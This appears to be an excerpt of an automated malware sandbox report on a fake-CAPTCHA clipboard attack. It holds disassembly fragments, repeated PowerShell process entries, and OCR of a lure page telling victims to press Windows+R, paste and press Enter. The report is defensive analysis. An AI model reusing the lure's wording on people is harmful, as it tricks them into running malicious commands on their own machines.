Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0834AAE3 push FFFFFF8Bh; iretd	20_2_0834AAE5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0834AB90 push FFFFFF8Bh; iretd	20_2_0834AB92
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0834AC3D push FFFFFF8Bh; iretd	20_2_0834AC3F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_08343D78 push edx; ret	20_2_08343D86
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0834AE30 push FFFFFF8Bh; iretd	20_2_0834AE44
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0834216A pushfd ; iretd	20_2_08342199
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_08341203 push ebx; ret	20_2_0834120E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_08340591 push eax; ret	20_2_08340595
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0834A585 push FFFFFF8Bh; ret	20_2_0834A587
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0834A65D push FFFFFF8Bh; ret	20_2_0834A65F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_083A6169 push esi; ret	20_2_083A628E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_083A69F0 push edi; ret	20_2_083A6B0E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_083A69E0 push edi; ret	20_2_083A69EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_083AA1E0 push edx; ret	20_2_083AA1EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_083AA220 push esp; ret	20_2_083AA22E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_083AA2F9 push edx; ret	20_2_083AA306
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_083A62E1 push edi; ret	20_2_083A62EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_083A63C9 push edi; ret	20_2_083A63D6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_083A6647 push edi; ret	20_2_083A66C6

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: screenshot	OCR Text: x e about:blank X Head - Patia Outlet Mip patiooutletmaipucl/tiendas/head/ Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window, press Ctrl + V. 3. Press Enter on your keyboard to finish. You will observe and agree: t a robot 9933" Perform the steps above to VERIFY x Run finish verification. Type the name of a program, folder, document or Internet resource, and Windows will open It for you. "l am not a robot - reCAPTCHA Verification 10: "77" Open: 0K 14:49 ENG p Type here to search SG 10/01/2025
Source: screenshot	OCR Text: x e about:blank X Head - Patia Outlet Mip patiooutletmaipucl/tiendas/head/ Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window, press Ctrl + V. 3. Press Enter on your keyboard to finish. You will observe and agree: t a robot 9933" Perform the steps above to VERIFY finish verification. 14:49 ENG p Type here to search SG 10/01/2025
Source: screenshot	OCR Text: x e about:blank X Head - Patia Outlet Mip patiooutletmaipucl/tiendas/head/ Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window, press Ctrl + V. 3. Press Enter on your keyboard to finish. You will observe and agree: t a robot 9933" Perform the steps above to VERIFY x Run finish verification. Type the name of a program, folder, document or Internet resource, and Windows will open It for you. Open: 14:49 ENG p Type here to search SG 10/01/2025
Source: screenshot	OCR Text: x e about:blank X Head - Patia Outlet Mip patiooutletmaipucl/tiendas/head/ Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window, press Ctrl + V. Undo 3. Press Enter on your keyboard to finish. Cut Copy You will observe and agree: Paste t a robot 9933" Select All Perform the steps above to VERIFY Right to left Reading order x Run finish verification. Show Unicode control characters Insert Unicode control character Type t resour open IME Reconversion Open: 14:49 ENG p Type here to search SG 10/01/2025
Source: Chrome DOM: 1.3	OCR Text: Complete these Verification Steps To better prove you are not a robot. please, 1. Press & hold the Windows Key C + R 2. In the verification window, press Ctrl + V 3. Press Enter on your keyboard to finish. You will observe and agree: not a robot reCA910A 10; 9933" Perform the steps above to VERIFY finish verification,

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
